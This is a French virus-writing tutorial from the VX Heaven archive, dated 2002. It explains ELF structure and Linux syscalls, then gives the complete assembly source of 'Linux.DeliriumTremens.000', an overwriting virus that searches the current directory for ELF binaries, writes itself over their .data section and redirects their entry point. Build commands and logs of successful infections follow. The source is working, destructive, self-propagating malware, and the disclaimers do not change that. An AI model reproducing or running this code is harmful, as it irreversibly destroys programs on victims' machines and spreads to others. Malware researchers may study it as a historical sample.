Maximize
Bookmark

VX Heaven

Library Collection Sources Engines Constructors Simulators Utilities Links Forum

ELF infection la menace fantome: Épisode 1

Emper0r
2002

[Back to index] [Comments]

Sommaire

  1. Introduction
  2. Langage assembleur sous linux
    1. Compilateur et syntaxe
    2. Le format elf
    3. Syscall
  3. Plan d'attaque
  4. Le code
  5. Conclusion

I. Introduction

Avant de commencer petit rappel: Entraver ou fausser le fonctionnement d'un système de traitement automatisé de données est passible d'un emprisonnement de 3 mois à 3 ans et d'une amende de 10 000 F à 100 000 F (cf. iocmag issue4).

Attention a ce que vous faites ; en aucun cas vous ne pouvez vous servir des informations de cet article pour nuire au le fonctionnement d'un système.

Ca y est je viens de finir mon premier lame elf infector :) Je vous préviens tout de suite, mon virus est malheureusement un simple virus a recouvrement, pas un parasite ! La principale difficulté que j'ai rencontré fut l'extrême rigidité du format elf:

Bref tout le contraire du très souple format PE. Cet article peu être suivi par tout le monde, il ne s'adresse pas uniquement aux vxers.

II. Langage assembleur sous linux.

A. Compilateur et syntaxe

Je ne vais pas reprendre les bases de l'asm, les fonctionnement des registres et des instructions de bases étant expliqués dans IOC#3 et IOC#4.

Sous linux on a le choix entre plusieurs assembleur dont certains utilisent des syntaxe différentes. Les plus utilisé sont:

[ Différences de la syntaxe AT&T ]

Exemple:

Syntaxe IntelSyntaxe AT&T
push ebp
mov ebp,esp
pushl %ebp
movl %esp,%ebp

Personnellement j'utilise la syntaxe intel aussi sous linux, étant habitué a celle-ci. Je ne voit pas d'avantage à utiliser AT&T qui est plus longue à taper. Cependant vous devez la comprendre car gdb donne du code désassemblé en syntaxe AT&T.

Vous trouverez prochainement (quand j'aurais le temps) sur mon site, un script perl pour convertir des sources d'une syntaxe vers une autre. (www.arbornet.org/~emper0r)

B. Le format elf

Juste quelques bases pour ceux qui connaissent rien au format elf.

Les sections

3 sections nous intéresse particulièrement:

Essayez la commande 'readelf' elle donne énormément de renseignements sur l'elf que vous voulez. Je suis en train de coder un petit outil du style de "readelf" avec quelques options en plus, bientôt dispo sur mon site (www.arbornet.org/~emper0r)

Note de Neofox : c'est bon Emp', on a l'adresse =

Que peut on trouver d'interréssant dans le elf header:

typedef struct
{
  unsigned char e_ident[EI_NIDENT]; /* Magic number and other info */
  Elf32_Half e_type;                /* Object file type */
  Elf32_Half e_machine;             /* Architecture */
  Elf32_Word e_version;             /* Object file version */
  Elf32_Addr e_entry;               /* Entry point virtual address */
  Elf32_Off  e_phoff;               /* Program header table file offset */
  Elf32_Off  e_shoff;               /* Section header table file offset */
  Elf32_Word e_flags;               /* Processor-specific flags */
  Elf32_Half e_ehsize;              /* ELF header size in bytes */
  Elf32_Half e_phentsize;           /* Program header table entry size */
  Elf32_Half e_phnum;               /* Program header table entry count */
  Elf32_Half e_shentsize;           /* Section header table entry size */
  Elf32_Half e_shnum;               /* Section header table entry count */
  Elf32_Half e_shstrndx;            /* Section header string table index */
} Elf32_Ehdr;

Ce qui nous interresse:

La section header

/* Section header.  */

typedef struct
{
  Elf32_Word    sh_name;                /* Section name (string tbl index) */
  Elf32_Word    sh_type;                /* Section type */
  Elf32_Word    sh_flags;               /* Section flags */
  Elf32_Addr    sh_addr;                /* Section virtual addr at execution */
  Elf32_Off     sh_offset;              /* Section file offset */
  Elf32_Word    sh_size;                /* Section size in bytes */
  Elf32_Word    sh_link;                /* Link to another section */
  Elf32_Word    sh_info;                /* Additional section information */
  Elf32_Word    sh_addralign;           /* Section alignment */
  Elf32_Word    sh_entsize;             /* Entry size if section holds table */
} Elf32_Shdr;

Voila pour mon virus, on juste besoin de ces 3 variables.

C. Syscall

Les syscalls sont des interruptions logicielles un peu comme les interruptions logicielles du DOS. Par conséquent ceux qui on déjà programmé sous DOS ne seront même pas dépaysés :)

Exemple: le bon vieux hello world

Pour écrire une ligne on va ce servir de sys_write. Voici ce que dit ma doc a propos de sys_write:

arguments:
eax 4
ebx file descriptor
ecx ptr to output buffer
edx count of bytes to send

return:
eax no. of sent bytes (if POSIX conforming f.s.)
errors:
eax EAGAIN, EBADF, EFAULT, EINTR, EINVAL, EIO, ENOSPC, EPIPE
source
fs/read_write.c

Pour plus d'information: "man 2 write"

Si je veux écrire une ligne dans ma console :

mov eax, 4              ;fonction écriture
mov ebx, 1              ;on écrit dans la console
mov ecx, msg            ;pointe vers la chaîne
mov edx, len            ;variable contenant la longueur de la chaîne

Le code complet:

;----------------------------------------------------------------
section .data           		;section déclaration

msg     db      "Hello, world!",0xa	;Chaîne a afficher
len     equ     $ - msg                 ;longueur de cette chaîne


global main

section .text           		;section contenant le code

main:


        mov     edx, len        ;edx = longueur de la chaîne a afficher
        mov     ecx, msg        ;ecx pointe sur le début de la chaîne
        mov     ebx, 1          ;file handle, ou l'on écrit
        mov     eax, 4          ;sys_write
        int     0x80            ;call kernell

        mov     ebx, 0          ;ebx = 0 -> exit code
        mov     eax, 1          ;sys_exit
        int     0x80
;----------------------------------------------------------------	

[[email protected] asm]$ nasm -f elf hello.asm
[[email protected] asm]$ cc hello.o -o hello
[[email protected] asm]$ ./hello
Hello, world!
[[email protected] asm]$

Petite astuce avec: len equ $ - msg, le compilo remplit directement la longueur de la chaîne, sinon on peut metre la valeur directe biensur.

III. Plan d'attaque

Pour attaquer on a besoin :

J'ai tout d'abord cherché à faire un virus parasite, mais après plusieurs segfaults n'ayant toujours pas trouvé, je décide de faire mes débuts avec un virus a écrasement, le plus simple possible.

Tout d'abord je décide d'écraser la section .text, premier problème je ne peux pas utiliser de buffer, on ne peut pas écrire dans la section .text. Le problème du buffer est résolu, je vais tout mettre dans la pile, c'est pas trés propre mais je voit pas d'autre solution.

Second problème la section .text ne commence pas directement par notre main() du code est écrit avant ; si l'on écrase ce code, une partie sera récrite lors du chargement du elf :(

Il faudrait donc rechercher le début du main pour commencer à écrire notre virus. ( je sais pas si sa marche j'ai pas testé ). Cependant mon objectif est de faire le plus simple possible... Je cherche ailleurs...

12 segfaults et 4 bières plus tard je m'appercoit de quelques chose d'interréssant la section .data est exécutable ! (vous remarquez au passage ma moyenne de 3 segfaults/bière) Voila mon virus à écrasement va écraser cette section en partant du début.

Pour infos, beaucoup (toutes ?) de sections qui on les mêmes droits et fonctionnement que .data sont aussi exécutable.

Un avantage quand même sous linux pour les vxers, ce sont les syscalls pas besoin de créer une routine pour trouver les fonctions en mémoire. Le scann des apis en mémoire sous windows c'est franchement énervant.

Explication de certainnes fonctions

La programmation d'un virus contient toujours 2 parties très importante: la recherche de fichier hote et la copie du virus lui même.

Commençons par la recherche de fichier :

La recherche va se faire avec le syscall 220 -> getdents64. Voici un petit exemple du contenu d'un buffer construit par getdents:

0x80495ac <direntsbuf>:         0x00000000
0x80495b0 <direntsbuf+4>:       0x00000000
0x80495b4 <direntsbuf+8>:       0x0000000c
0x80495b8 <direntsbuf+12>:      0x00000000
0x80495bc <direntsbuf+16>:      0x2e040018  en + 19 le premier nom soit
0x80495c0 <direntsbuf+20>:      0x00000000
0x80495c4 <direntsbuf+24>:      0x00056a15       il y a 0x18 octets
0x80495c8 <direntsbuf+28>:      0x00000000       entre les noms cette info ce
0x80495cc <direntsbuf+32>:      0x00000018       trouve en + 16
0x80495d0 <direntsbuf+36>:      0x00000000
0x80495d4 <direntsbuf+40>:      0x2e040018  a partir de + 43 le deuxième nom
0x80495d8 <direntsbuf+44>:      0x0000002e
...   ...   ...   ...   ...   ...   ...
...   ...   ...   ...   ...   ...   ...
0x8049656 <direntsbuf+170>:     0x00000000
0x804965a <direntsbuf+174>:     0x00200000  prochain nom en $+20+3
0x804965e <direntsbuf+178>:     0x64646408  nom de fichier dddddddd
0x8049662 <direntsbuf+182>:     0x64646464
0x8049666 <direntsbuf+186>:     0x00000064
0x804966a <direntsbuf+190>:     0x27340000
0x804966e <direntsbuf+194>:     0x00000006
0x8049672 <direntsbuf+198>:     0x00740000
0x8049676 <direntsbuf+202>:     0x00000000
0x804967a <direntsbuf+206>:     0x00200000  prochain nom en $+20+3
0x804967e <direntsbuf+210>:     0x65656508  nom de fichier eeeeeeeeee
0x8049682 <direntsbuf+214>:     0x65656565
0x8049686 <direntsbuf+218>:     0x00656565
0x804968a <direntsbuf+222>:     0x27350000
etc ....

En analysant ce buffer, on peut voir que le premier nom de fichier se trouve en 0x13 "direntsbuf+19". On voit aussi que 3 octet avant, en 0x10 "direntsbuf+16" ce trouve l'offset du prochain du prochain nom + 3. Et ainsi de suite.

La Deuxième fonction est donc l'infection, en théorie ca donne:

  1. Récupération un nom de fichier
  2. Ouverture de ce fichiers
    • sion peut pas on passe en 1
  3. Test si il s'agit bien d'un elf
    • si ce n'est pas le cas on revient en 1
  4. Test si la taille de .data du fichier trouvé est > a la taille de notre virus
    • sinon on passe en 1
  5. Écriture de notre virus au début de .data
  6. Modification de l'EP du fichier vers le début de la section .data
  7. Tous les fichiers de ce rep ont était testé?
    • sinon on passe en 1
  8. Affichage de la signature et fin.

IV. Le code

/!\  Si vous voulez le tester alors seulement sur votre propre 
     bécane. Attention ce code est destructeur.

/!\  La destruction et/ou modification de données ainsi que la
     propagation de virus est trés fortement punis par la loi.

Ce code permet l'étude de l'infection possible du format elf, en aucun cas il doit être utiliser dans le but de nuire ou détruire.

;----------------------------------------------------
;
;                Linux.DeliriumTremens.000 by Emper0r
;                ____________________________________
;
;
;
;Just a another lame virus ...
;
;
;Le Delirium Tremens est une 'maladie' lié à la suspension brutale de
;l'intoxication a l'alcool, des symptômes mineurs initiaux peuvent apparaître
;6 à 8 heures après la dernière absorption. Cette 'maladie' provoque
;agitation, état confusionnel, hallucinations, tremblement rapide,
;trouble du sommeil, signes neuro-végétatifs (sudation, fièvre, tachycardie ..)
;
;
;La Delirium Tremens est aussi une bière trés bonne (oupss j'ai fait d'la pub )
;
;
;Linux.DeliriumTremens.000 est un petit virus capable d'infecter tout les elfs
;du répertoire courant du moment que ceux ci on une section .data plus
;importante que son code.
;
;Linux.DeliriumTremens.000 est un virus a écrasement il est DESTRUCTEUR, la
;section .data ou du moins une parti est écrasée et l'hote ne fonctionne plus
;du tout, il est irrémédiablement détruit.
;
;Si vous voulez le tester alors faite le seulement sur votre propre bécane en
;connaissant les risques encouru...
;
;Remerciement:
;	- A tous ceux qui participent et/ou soutiennent la IOC.
;	- La team 29A et tout particulièrement SnakeByte et Mandragore
;	- Tous les vxers bien taré et bien sympa que l'on retrouve dans certains
;         coin obscur de l'IRC :)
;
;
;Pour compiler ca :
;nasm -f elf DeliriumTremens.asm
;cc DeliriumTremens.o -o DeliriumTremens
;(compiler sous linux avec un kernell 2.4.18)
;
;"He who makes a beast of himself gets arid of the pain of being a man"
;
;


section .data           ;Le code de la souche est aussi dans la .data

main :
debutvirus:	        ;


mov eax, 5              ;ouverture
push 0x2E               ;0x2E= '.' astuce pour pas utiliser de buffer
mov ebx, esp
xor ecx, ecx
xor edx, edx
int 0x80

sub esp, 0x10000        ;recup de la place sur la pile, 64ko
                        ;juste pour les noms
mov ebx, eax
mov eax, 220            ;getdents
mov ecx, esp            ;buffer_résultat dans esp
mov edx, 0x10000        ;taille
int 0x80

mov ebp, 16             ;premier nom en ebp + 3



lol:
mov ebx, ebp
add ebx, 3              ;esp + 3 = première lettre du nom
jmp fouverture          ;j'aurai du le remplacer par un call mais j'ai
                        ;déja assez de manip sur la pile(voir la suite)


arf:
mov ecx, ebp            ;test si plus de fichier dans le buf
mov dl, byte [esp + ecx]
cmp dl, 0
je bye                  ;plus de fichier alors casse toi
add ecx, edx            ;sinon ajoute le prochain décalage
mov ebp, ecx            ;on le sauve
jmp lol                 ;et on passe au suivant



fermeture:
mov eax, 6              ;on ferme le fichier ouvert
int 0x80                ;
jmp arf                 ;on va ce préparé a repartir avec un nouveau fichier



bye:
mov eax, 4              ;affiche la signature
mov ebx, 1

call @@@                ;permet de récupéré eip
@@@:                    ;dans ecx, une fois infecter les
pop ecx                 ;labels ne fonctionneront plus

add ecx, 0xDD           ;notre signature ce trouve 0xDD plus loin
mov edx, 38             ;longueur de la signature
int 0x80

mov eax, 1              ;c'est fini on stoppe tout
mov ebx, 0
int 0x80



fouverture:             ;ouverture du fichier
mov eax, 5
add ebx, esp
mov ecx, 2
xor edx, edx
int 0x80


cmp ah, 0xFF            ;teste si on a pu l'ouvrir
je arf                  ;sinon on va ce préparé pour un nouveau fichier

push eax                ;met le file descriptor sur la pile
pop ebx                 ;recup le FD

call sysread            ;lecture des 4 premiers octet du fichier

cmp eax, 0x464C457F     ;test si elf
jne fermeture           ;sinon on ce casse

mov ecx, 0x20
call syslseek           ;lseek sur e_shoff (section header offset)
call sysread            ;lecture de e_shoff
push eax                ;sauvegarde de e_shoff

mov ecx, eax

add ecx, 0x26C          ;on ce place sur sh_size .data
call syslseek           ;"
call sysread            ;on lit sh_size (section header size)
pop ecx                 ;on récupère e_shoff ici, sinon pb de déséquilibre pile
cmp eax, finvirus - debutvirus  ;si pas la place de mettre le code viral dans
jl fermeture            ;.data alors on ce casse

add ecx, 0x268          ;on ce place sur sh_offset de .data
call syslseek           ;"
call sysread            ;on lit sh_offset .data

mov ecx, eax
push ecx                ;sauve sh_offset .data

call syslseek           ;on ce place au début de .data pour écrire

mov eax, 4              ;écriture :)
call cocaïne            ;Toujours pareil on recup eip dans ecx
cocaïne:                ;car les labels seront 'détruits' dans les
pop ecx                 ;fichiers infecter
sub ecx, 0xEB           ;début du code viral en eip - 0xEB
mov edx, finvirus - debutvirus    ;nb d'octet a écrire, pas de pbs de label ici
int 0x80

mov ecx, 0x18           ;adresse de e_entry (Entry point)
call syslseek           ;lseek sur e_entry

écriture:
mov eax, 4
pop ecx                 ;ecx = sh_offset .data
add ecx, 0x8049000      ;ajout du virtual offset
push ecx
mov ecx, esp            ;petite astuce
pop edx                 ;rééquilibre la pile avec un octet
mov edx, 4
int 0x80

jmp fermeture



sysread:                ;FD dans ebx, les 4 octet lu sont récupéré dans eax
mov eax, 3              ;sys_call read
sub esp, 4              ;on ce pend 4 octet sur la pile
mov ecx, esp            ;buffer sur la pile
mov edx, 4
int 0x80
pop eax                 ;résultat dans eax
ret



syslseek:       ;il faut le fd dans ebx, et le déplacement dans ecx
                ;déplacement a partir du début du fichier
mov eax, 19
xor edx, edx
int 0x80
ret



signature db 'Linux.DeliriumTremens.000 By Emper0r',10,13,
finvirus:
;----------------------------------------------------

Les tests

Combien fait le code de mon virus pour commencer:

[[email protected] vx]$  readelf -S DeliriumTremens |grep .data
  [14] .rodata           PROGBITS        08048430 000430 000008 00   A  0   0  4
  [15] .data             PROGBITS        08049438 000438 000178 00  WA  0   0  4

Mon virus dans la .data fait donc 0x178 (en vérité un peu moins)

On va récupéré plusieurs elf avec différentes tailles de section .data. Un petit script shell que j'appelle sondage.sh va me faire ca:

#!/bin/bash
echo "sondage de la taille de la section $1 dans le rep /bin/\n" > resultat
for file in /bin/*
do
        echo $file >> resultat
        readelf -S $file | grep $1 >> resultat
        echo "" >> resultat
done
cat resultat

[[email protected] vx]$ ./sondage.sh .data

......

Il y a beaucoup de résultat je vais juste prendre ces 3 fichiers ca me va très bien:

/bin/ypdomainname
  [14] .rodata           PROGBITS        08049500 001500 000aa1 00   A  0   0 32
  [15] .data             PROGBITS        0804afa4 001fa4 000018 00  WA  0   0  4
                                                             --
/bin/zcat
  [14] .rodata           PROGBITS        08051da0 009da0 001771 00   A  0   0 32
  [15] .data             PROGBITS        08054520 00b520 000ac0 00  WA  0   0 32
                                                            ---
/bin/zsh
  [14] .rodata           PROGBITS        080ab680 063680 005eed 00   A  0   0 32
  [15] .data             PROGBITS        080b2580 069580 002f70 00  WA  0   0 32
                                                           ----

[[email protected] vx]$ ls
compilo.sh*       DeliriumTremens.asm   resultat     ypdomainname*  zsh*
DeliriumTremens*  DeliriumTremens.asm~  sondage.sh*  zcat*

Je vais lancer mon virus et normalement si tout le monde a suivit il va infecter zcat et zsh mais pas ypdomainname.

[[email protected] vx]$ ./DeliriumTremens
Linux.DeliriumTremens.000 By Emper0r

virus lançé dans le rep


[[email protected] vx]$ cp /bin/awk ./

un nouveaux cobaye entre en jeux :)


[[email protected] vx]$ ./zcat
Linux.DeliriumTremens.000 By Emper0r

zcat a bien été infecté et va infecter awk


[[email protected] vx]$ ./awk
Linux.DeliriumTremens.000 By Emper0r

voila ca à fonctionné


[[email protected] vx]$ ./ypdomainname
localdomain

Ca section .data étant trop petite pour contenir le code il n'a pas étai infecter.

V. Conclusion

Le code comporte quelques petites astuces mais reste trés simple, il est enplus bien commenté à mon avis. J'ai essayé de supprimer un maximum les embrouilles de buffer dans la pile, on doit toujours penser a ne pas 'déséquilibrer' la pile, bien faire attention lors des sorties de fonction.

Il contient juste 1 petit problème : si la section .data n'est pas la 16 ème section, alors les elf infectés risquent de segfaulter ou de ne pas fonctionner si on tombe dans une section sans droits d'exécution ou d'écriture. C'est trés rare mais ca peu arriver si l'elf a été compilé avec certaines options. Il est facile de corriger ce problème mais ce virus à écrasement ne comporte que peu d'interêt ; je ne suis pas allé au bout de tout les tests, c'était juste pour le fun :)

Vous pouvez augmenter aussi l'espace pris dans la pile si vous avez peur que 64Ko d'espace (pour stocker les nom de fichiers de répertoire courant) ne suffisent pas.

Vous remarquerez aussi ma façon de bourrin pour calculer le virtual offset du début de la section .data pour l'EP, on peu arranger ca facilement aussi.

Un virus parasite est en cour de dévellopement avec de vraies bonnes fonctions intérrésantes, affaire a suivre ....

Pour discuter de virus (n'hésitez pas j'adore ca :) vous pouvez me trouver sur IRC: epiknet & undernet, sinon mail: [email protected]

           << He who makes a beast of himself
           gets arid of the pain of being a man >>
[Back to index] [Comments]
By accessing, viewing, downloading or otherwise using this content you agree to be bound by the Terms of Use! vxer.org aka vx.netlux.org
deenesitfrplruua